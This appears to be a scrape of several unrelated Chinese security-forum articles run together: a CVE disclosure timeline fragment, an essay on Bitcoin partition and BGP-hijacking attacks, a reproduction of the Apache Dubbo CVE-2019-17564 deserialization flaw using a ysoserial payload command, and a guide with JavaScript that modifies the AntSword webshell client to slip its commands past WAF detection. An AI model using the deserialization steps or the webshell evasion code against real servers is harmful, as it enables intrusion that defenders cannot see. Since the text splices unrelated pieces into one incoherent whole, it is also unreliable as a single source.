系统上报了这个漏洞。先然，出于安全考虑，上报漏洞时最好通过邮件发送给
[email protected]。但是我当时并不知道，所以我的 bugzilla
的报告就不明不白地结束了。但是我说服他们重新审查一遍。终于，这个漏洞被重新发送给了
[email protected]，并且得到了验证和修复。
## 时间线
18.10.2018 - 上报漏洞
30.10.2018 - 漏洞被修复并且添加到了 daily build 中
14.11.2018 - Redhat 分配给了我一个ID，CVE-2018-16858，并且告诉我 31.01.2019 之后就可以公开了
01.02.2019 - 通过博客公开 | 社区文章 |
# 比特币底层漏洞：大多数正义与信道安全
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
几乎所有关于加密货币和区块链的讨论都源于中本聪的白皮书：《比特币：一种点对点的电子现金系统》Bitcoin: A Peer-to-Peer
Electronic Cash System （Satoshi Nakamoto）。
2008 年11月1日，一个密码学邮件组收到了 [[email protected]](mailto:[email protected])
邮箱发出的这份白皮书，2009年1月3日，中本聪的个人电脑里挖出了50个比特币，并在创世区块里留下一句永不可修改的话：
`“The Times 03/Jan/2009 Chancellor on brink of second bailout for
banks（2009年1月3日，财政大臣正处于实施第二轮银行紧急援助的边缘）。”`
当时正是英国的财政大臣达林被迫考虑第二次出手纾解银行危机的时刻，这句话是泰晤士报当天的头版文章标题。区块链的时间戳服务和存在证明，让第一个区块链产生的时间和当时正发生的事件被永久性的保留了下来。
2009年10月5日出现了最早的交易所汇率：1美元＝1309.03比特币。十年后比特币的价格已经超过8000美元，按照2017年峰值的最高价20000美元一枚计算，2100万枚比特币的市值达4200亿美元，外加各种山寨币、分叉币，加密货币总规模已经突破万亿美元。
比特币带给我们最大的冲击是原来 **哈耶克的创想可行，技术可以超越现有政府的框架实现“非国家化的货币”并开始流通。**
在币值飞涨的疯狂年代，已经很少人再去翻看中本聪的白皮书。仅有九页的白皮书只是一套技术方案，所有的篇幅都是为了探讨一个“币”的实现，超越软件技术本身，我们去细加审视更本质的问题：比特币的“去中心化”是否彻底？是否真正成为了一个权力分散且完全自治的系统？白皮书中是否还有哪些缺陷，是中本聪默认忽略又事实存在的假性前提？
## 算力垄断≠51%攻击
目前对比特币的信仰建立在全网51%算力难以企及上，然而最近人们越来越多开始担忧，掌握大规模ASIC矿机的矿场早已垄断了51%算力。
《麻省理工科技评论》在2018年1月18日发布的最新研究表明，比特币和以太坊都属于开放区块链系统，即原则上任何人都可以成为矿工，但因为这样的架构特性，自然形成了相应的组织集中挖矿资源。
基于每周一次的统计，排名前四名的比特币挖掘活动就占整个系统挖掘活动的 53%；而以太坊挖掘活动的中心化程度甚至更加稳固，前 3
大矿机占整体系统每周平均挖掘活动高达 61%。算力垄断是否已经动摇了比特币“去中心化”的特性？
答案是否定的。 **51%攻击不会来自比特币生态内。**
这是因为矿场巨头们虽然集中控制了算力，但他们按照游戏规则，付出了大量硬件投资和电费消耗。如果发动51%攻击，整个系统的价值就会崩溃，那么攻击获得的比特币将没有任何意义。
51%攻击必然来自于体系外。
## 去中心化=大多数人正义
[白皮书摘要]：
`本文提出了一种完全通过点对点技术实现的电子现金系统，它使得在线支付能够直接由一方发起并支付给另外一方，中间不需要通过任何的金融机构。虽然数字签名（Digital
signatures）部分解决了这个问题，但是如果仍然需要第三方的支持才能防止双重支付（double-spending）的话，那么这种系统也就失去了存在的价值。`
我们在此提出一种解决方案，使现金系统在点对点的环境下运行，并防止双重支付问题。该网络通过随机散列（hashing）对全部交易加上时间戳（timestamps），将它们合并入一个不断延伸的基于随机散列的工作量证明（proof-of-work）的链条作为交易记录，除非重新完成全部的工作量证明，否者已经形成的交易记录将不可更改。
最长的链条不仅将作为被观察到的事件序列（sequence）的证明，而且被看做是包含CPU最大计算工作量的链。只要绝大多数的CPU计算能力都没有打算合作起来对全网进行攻击，那么诚实的节点将会生成最长的、超过攻击者的链条。这个系统本身需要的基础设施非常少。
信息尽最大努力在全网传播即可，节点(nodes)可以随时离开和重新加入网络，并将最长的工作量证明链条作为在该节点离线期间发生的交易的证明。
细读比特币白皮书，你会发现中本聪的 **“去中心化”背后的潜台词是“大多数人正义”** ，共识机制是比特币的核心理念。
用密码原理和工作量证明(Pow)代替中心化权威信用。而产生一条新的交易记录时永远有先后顺序，即便是双花也总有先后顺序，同一用户不可能同时创造两笔交易。比特币首先引入了基于时间戳的随机散列，让其形成前后相关的序列，比特币的交易记录就是一个时间序列的链条。这就是为什么称之为区块链的原因。
要避免双花，我们只需要证明其中一条链有效即可，并且将其记录到交易链条上，其他的交易就是无效的了。要证明其中一条是有效又不允许中心化从存在，只有一个办法：发动所有人参与这项活动，进行“多数人的正义”。
PoW共识算法正是为了解决谁是大多数的问题，“大多数”的决定表达为最长的链。新区块进行节点广播，一旦有节点收到了这个区块的广播，会按照“当且仅当包含在该区块中的所有交易都是有效的且之前未存在过的，其他节点才认同该区块的有效性”的规则进行验证。
验证通过后，这个节点就不会再接受别的节点的同样区块了。同时这个节点会终止自己正在进行的包含同样交易的区块计算，也就说不会在进行无用功了，节点在这个区块基础上启动新的交易区块计算，如此往复，形成链条。
由于网络延迟，如果同时有几个节点互相收到交易区块，记录同样的链条（分叉），该僵局的打破要等到下一个工作量证明发现。通过一段时间运行，总有一条区块链时序最长，作为最终被认可的链条。比特币区块链就是在不停的分叉、抛弃、又分叉、又合并的过程。
共识机制替代中介信任，那么我们探讨一下极端情况下可能会出现什么问题？
`2018年某一天下午15：30，中国的海底光纤突然出现故障，国际出口被阻断。整个比特币网络仍旧正常运转：国内的矿池、矿场币照样挖；国外的矿场、交易所继续正常挖币和交易。`
只是不知不觉间， **中国的比特币网络和国际比特币网络被撕裂为两个子网。**
**在故障期间，中国境内的算力形成一个链，境外的算力形成另外一条链。按照共识机制，就看哪条链的长度更长，而长度较短的另一链会被淘汰，即这条被淘汰的支链上产生的所有交易需要重新核算，同时记账奖励将被作废。**
`17点40，故障后2个小时，光纤故障排除，国际出口复通。`
由于中国国内的算力占比高达70%，国外链毫无意外会被淘汰，在故障发生的两个多小时，境外矿场的算力成果被销毁了，海外所有的比特币交易面临重新核算，整个比特币上的商业活动被瘫痪。
大规模通讯中断会将比特币网络撕裂为算力悬殊的两个分支，那么最优的策略是故障发生那刻起，整个比特币网络立即停摆，直到故障修复。否则如果保持隔离状态继续运行，复通合并时就会出现更棘手的瘫痪。
比特币对此也有一些防御措施，为防止支链的干扰造成损失，比特币一笔交易至少需要6个区块的确认，一个区块时间是10分钟，6个区块就是一小时。假如故障导致的网络隔断超过一小时，就会给交易带来冲击，隔断时间越长冲击越大。
**人们对比特币容灾能力的讨论，更多地关注于分布式的多节点存储备份，忽略了共识机制本身造成的隔离和吞没效应。**
这样的想法并非是不可能的，就在 `2018年3 月30日，非洲国家毛里塔尼亚由于海底电缆被切断，造成全国范围内彻底断网时间长达 2
天，该起事件还同时影响数个周边国家，断网噩梦首次在现实中上演，说明全球范围内的网络基础设施并非人们想象的安全。`
实际上，全球大约97%以上的网络数据均是通过海底电缆传输，但各国出于军事目的而进行的海底电缆附近活动并不在少数。`2013年，有3名潜水员在埃及被捕，他们被指控为涉嫌切断海底电缆。`
而在军事战略家的理论中，全面切断海底电缆，影响该国军事通信能力，对敌方造成经济损失和瘫痪性灾难，也不失为一种重要的备选打击手段。
并且，能让比特币陷入瘫痪的可能还不止拔网线这一种。
下面我们来发散一些可以影响比特币网络的可能：
1.大规模的黑客攻击行动，控制主干网络设备的路由策略，发动BGP攻击。
2.网络设备商的后门权限。针对核心路由器0day漏洞的蠕虫病毒在传播过程中，有意或无意地封闭了国际出口。
3.电信运营商的国际出口通讯故障。
5.国家防火墙的限制和阻断。
以上场景中，发动者都可以是体系外的成员，并且不需要耗费大量硬件和电力资源投入，只需要控制网络层就可以轻松实现。这就暴露出比特币和所有加密货币最致命的缺陷：网络层天然高度中心化。
## 被忽略的默认前提：信道安全
区块链的底层是P2P网络通信技术，区块链本质上是一个基于P2P的价值传输协议。
比特币采用了基于国际互联网（Internet）的P2P（peer-to-peer）网络架构。P2P是指位于同一网络中的每台计算机都彼此对等，各个节点共同提供网络服务，不存在任何“特殊”节点。每个网络节点以“扁平（flat）”的拓扑结构相互连通。在P2P网络中不存在任何服务端（server）、中央化的服务、以及层级结构。
P2P网络的节点之间交互运作、协同处理：每个节点在对外提供服务的同时也使用网络中其他节点所提供的服务。
早期的国际互联网就是P2P网络架构的一个典型用例：IP网络中的各个节点完全平等。当今的互联网架构具有分层架构，但是IP协议仍然保留了扁平拓扑的结构。在比特币之外，规模最大也最成功的P2P技术应用是在文件分享领域：Napster是该领域的先锋，BitTorrent是其架构的最新演变。
“比特币网络”是按照比特币P2P协议运行的一系列节点的集合。除了比特币P2P协议之外，比特币网络中也包含其他协议。例如Stratum协议就被应用于挖矿、以及轻量级或移动端比特币钱包之中。网关（gateway）路由服务器提供这些协议，使用比特币P2P协议接入比特币网络，并把网络拓展到运行其他协议的各个节点。
例如，Stratum服务器通过Stratum协议将所有的Stratum挖矿节点连接至比特币主网络、并将Stratum协议桥接（bridge）至比特币P2P协议之上。我们使用“扩展比特币网络（extended
bitcoin network）”指代所有包含比特币P2P协议、矿池挖矿协议、Stratum协议以及其他连接比特币系统组件相关协议的整体网络结构。
运行比特币P2P协议的比特币主网络由大约7000-10000个运行着不同版本比特币核心客户端（Bitcoin
Core）的监听节点、以及几百个运行着各类比特币P2P协议的应用（例如BitcoinJ、Libbitcoin、btcd等）的节点组成。比特币P2P网络中的一小部分节点也是挖矿节点，它们竞争挖矿、验证交易、并创建新的区块。
比特节点通常采用TCP协议、使用8333端口（该端口号通常是比特币所使用的，除8333端口外也可以指定使用其他端口）与已知的对等节点建立连接。
P2P网络只是为所有节点提供了信息交换的方式，做事的还是共识算法和加密算法。但接收方必须信任，数据区块的传送过程中没有被任何中间方改变破坏。这实际上需要一个“信道安全”的前提保证（这是中本聪没有明确提出，又默认必须的条件）：
1.我们信任区块链软件，相信它在运行中不受破坏，而传输的是非伪造的数据。
2.我们信任运行区块链软件的运行系统，它在运行中不受破坏，而传输的是非伪造的数据；
3.我们信任为系统提供网络的中央处理机，相信它不受破坏，而传输的是非伪造的数据。
这种信任，基于“网络中立化”而产生。然而，互联网的传输和承载网建设，属于高度资本性投资。因此，所有的互联网基础建设，均来自通讯企业高额投资，而互联网服务，均由各大ISP及其分销商提供。
这便带来了一个相对矛盾的问题：“去中心化”的分布式系统，承载于中心化的互联网服务之上，但却并未被广泛意识到，这种天然的高度中心化的底层传输网络，对“去中心化”的互联网产品有着轻而易举的打击实力和控制能力。
从比特币的协议细节便可看出，其对传输层的攻击并未充分防范。比特币的传输协议报头都是明文，且规律恒定，其报文开头4个字节就是0xF9BEB4D9。相信中本聪在设计协议时，将大部分精力都集中在交易过程的密码学设计上。因为对区块链而言，传输数据是否加密，并不影响交易本身的有效性：中间人即使窃取了报文，亦无法让篡改后的交易数据被其他节点接纳。
但这种高度自信、过分依赖于信道安全性的协议，在网络底层发动的攻击中，便显得格外脆弱。愈合攻击便是一种足以瓦解比特币信仰的攻击手段。
## 愈合攻击Merge attack
愈合攻击，简而言之，是先通过“撕裂”，将区块链网络隔离成能超过“共识阈值”（比如POW的51%）的两个独立链条，然后间隔一定时间（超过交易确认时间）后，让两个链条“愈合”，利用合并对冲来强制抛弃其中一条已有大量交易的链条。
愈合攻击实际上是分区攻击（Partition attack）+延迟攻击(Delay attack)的连续组合攻击手段，其破坏力远超DDos攻击和IP封堵。
针对节点、矿工的DDos、封堵ip地址等攻击方式，其影响力是短暂的。
无论对任何IP地址发动DDos攻击，被攻击者都是有感知的，因为节点和矿工将立即意识到，自己无法和任何人通信。被攻击者很快可以切换IP的方式应对。攻击对整个区块链网络造成的破坏并不明显，因为节点在切换IP后，仍得以与其他节点进行通信，确保了交易确认，不会导致区块链网络带来毁灭性影响。
愈合攻击直接撕裂网络，形成两个大局域网。
两个网内的节点均可以相互通信，并无断网感知，也就无从采取防范措施。它利用网络层，在愈合的一刻使“共识机制”崩溃：假如节点全部遵守“Code is
Law”，则必然出现分链被吞没；不遵守代码约定，则需人为分叉，进而颠覆信仰。更致命的是，愈合攻击可以高效率地反复进行，分治对冲，比特币网络就就会瘫痪。
愈合攻击并不仅针对比特币网络有效，对于以太坊等加密数字货币，同样有着威胁，尽管以太坊在通讯协议上进行了一定程度的加密，但这仅仅是为了保护智能合约的安全，并不是以消除通讯协议的识别特征为目标的加密。
只要根据其网络通讯中长链接、冗余心跳机制等数据和行为特性，攻击者仍然可以精准打击，通过隔离网络，发动愈合攻击。
因此，无论是哪种数字货币，只要没有在通讯底层从数据和行为上抹去特征，这种打击就仍然有效。近年来广受炒作的山寨币，包括莱特币、门罗币、比特币现金、量子链等则更不能幸免。
进一步来看，所有的共识算法，包括PoW、PoS、DPoS，都需要保证传输无干扰。因为分布式系统的共识算法本质上都是在信道安全的前提下，解决一致性和正确性问题。而网络信道安全前提一旦不成立，共识算法保障的“一致性”和“正确性”将瓦解。
## BGP劫持
愈合攻击是瓦解区块链的技术手段，实施愈合攻击，最常用的是BGP劫持。
什么是BGP劫持呢？
正常的矿机与矿池的通讯应该包括这几个步骤：
矿机 -> 网络运营商A -> 网络运营商B -> 网络运营商… -> 矿池
由于比特币矿池的跨地域性，在矿机和矿池之间的网络运营商（ISP）可能有数个作为跳转。这是极不安全的，任何一个环节的都有可能被黑客通过边界网关协议（BGP）劫持。
边界网关协议(BGP)是因特网的关键组成部分,用于确定路由路径。BGP劫持,即利用BGP操纵因特网路由路径。无论是网络犯罪分子还是国家防火墙,都可以利用这种技术来达到自己的目的,如误导和拦截流量等。
BGP是一种网络协议,用于交换因特网上各网络之间的路由信息。一般情况下,它用来确定在独立运营的网络或自治系统之间路由数据的最佳路径。
因此,它也常常用来寻找从ISP到ISP路由数据的路径。需要注意的是,BGP不是用来传输数据的,而是用来确定最高效的路由路径的。
实际的传输工作,是由其他协议来完成的,例如TCP/IP协议栈。
现在,假设我需要发送数据到世界的另一端。最终,这些数据肯定会离开我的ISP所控制的网络,因此,必然就会用到BGP。当然,路由路径是无法通过单独一个自治系统来决定的,这需要其他的BGP对等端或邻居的参与才行。这些对等端是些已经通过手工配置为共享路由信息的自治系统。
当自治系统学习新路由的时候,这些信息就会进一步传播到其他对等端。通过梳理从BGP对等端收集来的路由信息,处理这些数据的路由器就能够找出最佳路径。这些最佳路径是参考多种因素综合得出的,包括距离以及路由器管理员实现的配置设置等。
由于传播路由的对等端是手工配置的,因此有必要入侵一台边界路由器来广播外部BGP通告,从而实现因特网级别的BGP劫持。尽管这做起来非常困难,但是BGP劫持攻击确实已经出现在现实世界之中了。
因为BGP决定了数据从源端到目的地端的传输方式,所以,必须要关注该协议的安全性。通过操纵BGP,攻击者可以按照自己的意愿来修改数据的传输路线,从而达到拦截或者修改数据的目的。为了劫持因特网级别的BGP,需要配置一个边界路由器,让它发送含有未分配给它的前缀的通告。
如果恶意通告比合法通告还要具体,或者声称提供更短的路径,那么流量就可能被定向到攻击者那里去。攻击者经常利用弃用的前缀来进行劫持,以免引起合法属主的关注。通过广播含有虚假前缀的通告,受攻击的路由器可能会污染其他路由器的路由信息库。在污染了其他路由器之后,恶意路由信息可能会进一步传播到别的路由器中,或自治系统,甚至主干因特网上。
**最近几年来,已经有多起BGP劫持攻击被记录在案。**
比较著名的就是13年巴基斯坦屏蔽Youtube的事件。由于巴基斯坦电信部门错误地把屏蔽youtube加到了BGP上，导致该协议上的所有AS都被屏蔽了。换句话说，全世界其他所有国家的人都无法上Youtube了，因为数据包都涌向巴基斯坦了，而巴基斯坦恰恰屏蔽了Youtube。
在Renesys记载的案例中,2013年BGP劫持技术曾经用来重新路由数据,使其在到达目的地之前,先经过任意指定的国家。其中,一个攻击案例中的数据流量,在到达起目的地之前,竟然先绕道墨西哥至美国,然后转至白俄罗斯。通过散布虚假BGP广播,白俄罗斯的ISP成功将非法路由传播到了因特网上。
在这个案例中,很可能是一种公司或国家间谍行为。不过,有迹象说明,即使非国家级别的对手,照样也能够发动BGP劫持攻击。
2014年Dell
SecureWorks分析的一个案例中,BGP劫持被用来拦截比特币矿机到采矿池服务器的链接。通过将流量重路由至攻击者控制的矿池,攻击者就能够窃取受害者的比特币。这次攻击在两月内收集到了价值$83,000的比特币。
在2015年7月,监视软件供应商Hacking Team被黑,泄露的内部邮件表明,在2013年,意大利政府曾经与Hacking
Team有关合作,同时,意大利的一家ISP也购买过该公司的BGP劫持服务。由于托管Hacking
Team指令控制服务器的IP被阻断之后,该服务器已经离线,因此该恶意软件与指令控制服务器的连接也一直保持不可达状态。通过公布托管该指令控制服务器的虚假IP前缀,Hacking
Team竟然又恢复了对受害者机器的访问能力。
这是第一个记载在册的西方国家政府使用BGP劫持的案例。
## “拜占庭将军问题”&“两军问题”
比特币是分布式系统一次空前的社会实验，也被称为解决”拜占庭将军“问题的成功实例。在此强烈建议大家百度或者维基一下“拜占庭将军”和“两军问题”这两个理论的原型。
拜占庭将军问题是2013年图灵奖得主Leslie Lamport在1980年的论文The Byzantine Generals
Problem中提出的分布式领域的容错问题，这是分布式领域最复杂、最严格的容错模型。Lamport是分布式系统的祖师爷级的大师，这个故事也广为流传：
拜占庭位于如今的土耳其的伊斯坦布尔，是东罗马帝国的首都。由于当时拜占庭罗马帝国国土辽阔，为了防御目的，因此每个军队都分隔很远，将军与将军之间只能靠信差传消息。
在战争的时候，拜占庭军队内所有将军和副官必需达成一致的共识，决定是否有赢的机会才去攻打敌人的阵营。
但是，在军队内有可能存有叛徒和敌军的间谍，左右将军们的决定又扰乱整体军队的秩序。在进行共识时，结果并不代表大多数人的意见。
这时候，在已知有成员谋反的情况下，其余忠诚的将军在不受叛徒的影响下如何达成一致的协议，拜占庭问题就此形成。
拜占庭将军问题不去考虑信差是否会被截获或无法传递信息等问题。Lamport已经证明，在存在消息丢失的不可靠信道上试图通过消息传递的方式达到一致性是不可能的。
另一个比“拜占庭将军问题”更基础，更广为人知的是“两军问题”Two Generals’Problem：
两支军队，分别由两个将军领导，正在准备攻击一个坚固的城市。两支军队都驻扎在城市旁边的两个不同的山谷里。两军之间隔着第三个山谷，两个将军想要通讯的唯一方法就是穿过第三个山谷传送信件。
问题是，第三个山谷被城市的守卫敌军占据，并且经此传送的信件可能会被守卫敌军截获。虽然两个将军商量好要同时对城市发起攻击，但是他们没有约定特定的攻击时间。为了保证取胜，他们必须同时发起攻击，否则任何单独发起攻击的军队都有可能全军覆没。他们必须互相通信来决定一个同时攻击时间，并且同意在那个时间发起攻击。两个将军彼此之间要知道另一个将军知道自己同意了作战计划。
两军问题是阐述在一个不可靠的通信链路上试图通过通信以达成一致是存在缺陷的和困难的，这个问题经常出现在计算机网络入门课程中，用于阐释TCP协议不能保证通信两端状态的一致性。不过两军问题同样适用于任何有可能通信失败情况下的两点通信。
对比两个故事，我们会发现两军问题和拜占庭将军问题有一定的相似性，但必须注意的是，信差得经过敌人的山谷，在这过程中他可能被捕，也就是说，两军问题中信道是不可靠的，并且其中没有叛徒之说，这就是两军问题和拜占庭将军问题的根本性不同。
两军问题是在计算机通信领域首个被证明无解的问题，由此也可推论出，信道不可靠条件下的“拜占庭将军问题”也同样无解。
这意味着我们传输信息时仍然可能出现丢失、监听或篡改的情况。也许只有未来的“量子通讯”可能解决加密通信的问题。
搁置各种加密货币共识算法的优劣争论，我们必须看到本质问题，是共识算法离不开信道安全前提。
比特币在理论上的缺陷，就是出在网络通讯层的安全上。人们过高的着迷于区块链这种技术在时间戳签名、哈希链等密码学上的贡献，而忽略了其作为分布式系统的网络层安全。事实上这种技术还在早期阶段，尽管十年来比特币曾被上百次的预言死亡而仍健在，但作为科学和技术的本体，是更不应被盲目迷信的。
如果将这个世界看做一层一层协议，底下一层协议将控制和影响上一层。比特币作为应用层，必然被下一层网络层所控制。
网络层代表着提供网络服务的运营商，深究下去是一整个社会架构，直接受到现实世界的金融和法律影响，而这个世界的最终的协议，即最终控制者其实是政治层。
非国家化加密货币，底层仍是掌握在国家的网络设施中。
这事实看起来未免有些悲观，但从另一个维度来看，区块链也是需要运维的。
虽然这个观点与追求“维持开放、无需权限和分布式”的理念似乎有点格格不入。但当千百亿资本涌入那些加密货币，专业的攻击者也会盯上这片“无主之地”。行业若想得到发展与保护，更应该呼吁和推动政府部门尽快出台相关法律法规和监管政策，规范、保护并约束一个良好的生态环境。 | 社区文章 |
**作者： Evi1hui@ QAX A-TEAM
原文链接：<https://mp.weixin.qq.com/s/dp_I-MyAXdLm4IR2Y2PqEQ>**
Apache Dubbo是一个分布式框架，致力于提供高性能透明化的RPC远程服务调用方案，以及SOA服务治理方案。Apache
Dubbo在实际应用场景中主要负责解决分布式的相关需求。
Apache Dubbo支持多种协议，官方推荐使用 Dubbo 协议，CVE-2019-17564是属于Apache Dubbo
HTTP协议中的一个反序列化漏洞，该漏洞的主要原因在于当Apache Dubbo启用HTTP协议之后，Apache
Dubbo在接受来自消费者的远程调用请求的时候存在一个不安全的反序列化行为，最终导致了远程任意代码执行。
## 背景
Apache Dubbo是一个分布式框架，致力于提供高性能透明化的RPC远程服务调用方案，以及SOA服务治理方案。Apache
Dubbo在实际应用场景中主要负责解决分布式的相关需求。
Apache Dubbo支持多种协议，官方推荐使用 Dubbo 协议，CVE-2019-17564是属于Apache Dubbo
HTTP协议中的一个反序列化漏洞，该漏洞的主要原因在于当Apache Dubbo启用HTTP协议之后，Apache
Dubbo在接受来自消费者的远程调用请求的时候存在一个不安全的反序列化行为，最终导致了远程任意代码执行。
## 影响版本
1. 2.7.0 <= Apache Dubbo <= 2.7.4.1
2. 2.6.0 <= Apache Dubbo <= 2.6.7
3. Apache Dubbo = 2.5.x
## 漏洞搭建
步骤：
1. 环境搭建：（<https://github.com/apache/dubbo-samples>）
2. 脱离出java/org.apache.dubbo.http模块
3. 开启zookeeper
4. 加入一个恶意的GadGets（JDK7u21或使用pom.xml 开启一个gadget依赖，比如：commons-collections-3.1）
### 环境搭建
（脱离出dubbo-samples-http）模块
/Users/Evilhui/Documents/A-Team/lab-env/apache-dubbo/dubbo-samples/java/dubbo-samples-http/src/main/java
修改maven pom.xml 配置：
1.加入Gadgets:
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version></dependency>
2.修改dubbo版本至受影响版本
<dubbo.version>2.7.3</dubbo.version>
## 开启zookeeper
下载地址：<https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz>
修改配置文件：
命令行替换：
sed 's/\/export\/crawlspace\/mahadev\/zookeeper\/server1\/data/\/tmp\/data/' zoo_sample.cfg > zoo.cfg
生成数据目录：
mkdir /tmp/data
开启zookeeper：
./bin/zkServer.sh start
## 漏洞调试
首先在servlet处打桩：
使用ysoserial生产序列化数据：
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 "open /Applications/Calculator.app"
写一个序列化数据类：
执行PoC
开始调试：
命中一路进入：
进一步的跟进发现在org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.doReadRemoteInvocation方法中进行了不安全的反序列化。
堆栈展示：
doReadRemoteInvocation:144, RemoteInvocationSerializingExporter (org.springframework.remoting.rmi)
readRemoteInvocation:121, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
readRemoteInvocation:100, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handleRequest:79, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handle:216, HttpProtocol$InternalHandler (org.apache.dubbo.rpc.protocol.http)
service:61, DispatcherServlet (org.apache.dubbo.remoting.http.servlet)
service:790, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:198, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:496, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:140, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:803, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:790, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1468, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
参考资料：
1. <https://mp.weixin.qq.com/s/pHnhHMNArAiZPVGR1btZIg>
2. <https://qiita.com/shimizukawasaki/items/39c9695d439768cfaeb5>
* * * | 社区文章 |
## 前言
本人有意写一份系列文章，主要内容是分享蚁剑改造过程中的一些技巧与经验。
因为蚁剑的相关文档实在比较少，可能很多同学都像自己当初一样想要二次开发可是不知如何下手。
不敢贸然称之为教程，只是把改造的过程发出来供大家借鉴，希望其他同学能够少走弯路。
* [蚁剑改造计划之实现动态秘钥编码器解码器](https://xz.aliyun.com/t/6571)
* [蚁剑改造计划之基于随机Cookie的动态秘钥编码器](https://xz.aliyun.com/t/6917)
* [蚁剑改造计划之增加垃圾数据](https://xz.aliyun.com/t/7126)
## 正文
### 历史遗留问题
我在前面几篇文章提到过，蚁剑一直有一个硬伤就是它对于其他参数的处理仅仅是一层base64。这就导致了不管怎么对主payload加密，WAF只要分析到其他的参数就能知道你在做什么。
例如你在执行cmd的时候，就一定会发送一个经过base64编码的cmd字符串，这就留下了一个被WAF识别的特征。
即使是蚁剑编码器仓库中的aes编码器也只是对主payload加了密，防护方在不需要解密主payload的情况下只要看到其他参数传的什么内容就能推测攻击者的行为。
yan表哥曾经在公众号中的[WAF拦了蚁剑发送的其它参数时怎么操作](https://mp.weixin.qq.com/s/ai3dW8H_ZnlFMPo-pgoqZw)文章中给出了一种解决方案。主要思想就是在不修改主payload的情况下，配合客户端额外再把它加密解密一遍。
可以是可以，但是很麻烦，对于普通的shell不具有适用性。
这篇文章的目的就是解决掉这个历史遗留问题。
### 随机化方式的选择
想要从根本上解决问题就要修改核心payload，那么怎么改呢？
以前师傅们的文章提出过两个方法，一种是把其他参数base64两次，还有一种是在其他参数前面加两个随机字符，然后主payload中再把它给substr截掉，来打乱base64的解码。
如果方法是写死的话，无非只是WAF增加两条规则而已。蚁剑这么有名的项目，一定是防火墙商眼中紧盯的目标。最好的解决办法就是加入一个用户可控的参数，能够让用户自定义修改。这样才有可能最大程度的逃过WAF的流量查杀。
所以本文采用的方法就是在每个第三方参数前，加入用户自定义长度的随机字符串，来打乱base64的解码。
这时，如果WAF不能获得主payload中用户预定义的偏移量，也就无法对其他参数进行解密。此时我们的强加密型编码器才能真正起到作用。
### 具体实现
思路
获取用户预定义前缀偏移量->修改核心payload模版->给其他参数前增加随机字符串
前端的话首先写一个text框，来获取用户的输入
在`\source\core\base.js`中定义randomPrefix变量
在`\source\modules\settings\adefault.js`中设置默认值
然后后端就可以通过`opts.otherConf["random-Prefix"]`来获取用户定义的随机前缀的长度值。
修改模版前要简单了解一下蚁剑对于参数的处理流程
在各类型shell的模版文件中，会定义默认的payload以及他们所需要的参数，还有对于参数的编码方式。
`source\core\php\template\filemanager.js`
在获取到模版之后，parseTemplate会对其中的参数进行提取、解析、组合，形成要发送的payload
`source\core\base.js`
所以我们要把用户预定义的前缀偏移量传入到两个地方：
（1）核心payload模版
（2）其他参数的组合模块
在核心payload中，我们将要修改的偏移量用`#randomPrefix#`进行标记，到parseTemplate函数组合最终数据包的时候将其替换。
然后定义一个新类型的编码处理器`newbase64`，在模板中修改对于参数的处理函数。
/**
* 增加随机前缀的base64编码
* @param {String} str 字符串
* @return {String} 编码后的字符串
*/
newbase64(str) {
let randomString=(length)=>{
let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
return randomString(randomPrefix)+Buffer.from(iconv.encode(Buffer.from(str), encode)).toString('base64');
}
修改后的模板长这个样
期间遇到一个小坑，就是无法在format()函数中获取opts的值
后来发现蚁剑中是这样写的
还特意把原来的`new
this.format`给注释掉换成`Base.prototype.format`的形式，具体原因我也不知道为什么。如果有知道的师傅麻烦告诉我一下。
既然追求刺激，那就贯彻到底，直接把opts传给format函数，然后在format中重新取所需要的变量。
### 测试
前缀长度默认为2，可以自行修改，只要不是4的倍数即可(原因自己思考一下)。
可以正常使用
其中`prototype`是我们传入的第三方参数的值，在这里是要打开的绝对路径
prototype=ojRDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3BocE15QWRtaW4v
直接base64解码会是乱码
去掉前两位后我们进行解码则可以得到正确的结果。
## 最后
偏移两位的效果可能还不是很明显，容易被猜出。但是当前缀长度达到10位以上的时候，就很难分析出最后的结果。
对php类型修改后我在本地测试了主要的13个功能，均可以正常使用。但是由于涉及到修改核心payload，等确定没有bug了再改其他的。
由于我是在父类Base中修改的编码模块，想修改其他类型的shell只需要照葫芦画瓢改一下对应的模版即可。
修改后的项目地址：
<https://github.com/yzddmr6/antSword/tree/v2.1.x> | 社区文章 |
# 【技术分享】跟我入坑PWN第一章
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[WeaponX](http://bobao.360.cn/member/contribute?uid=2803578480)
预估稿费：300RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**传送门**
* * *
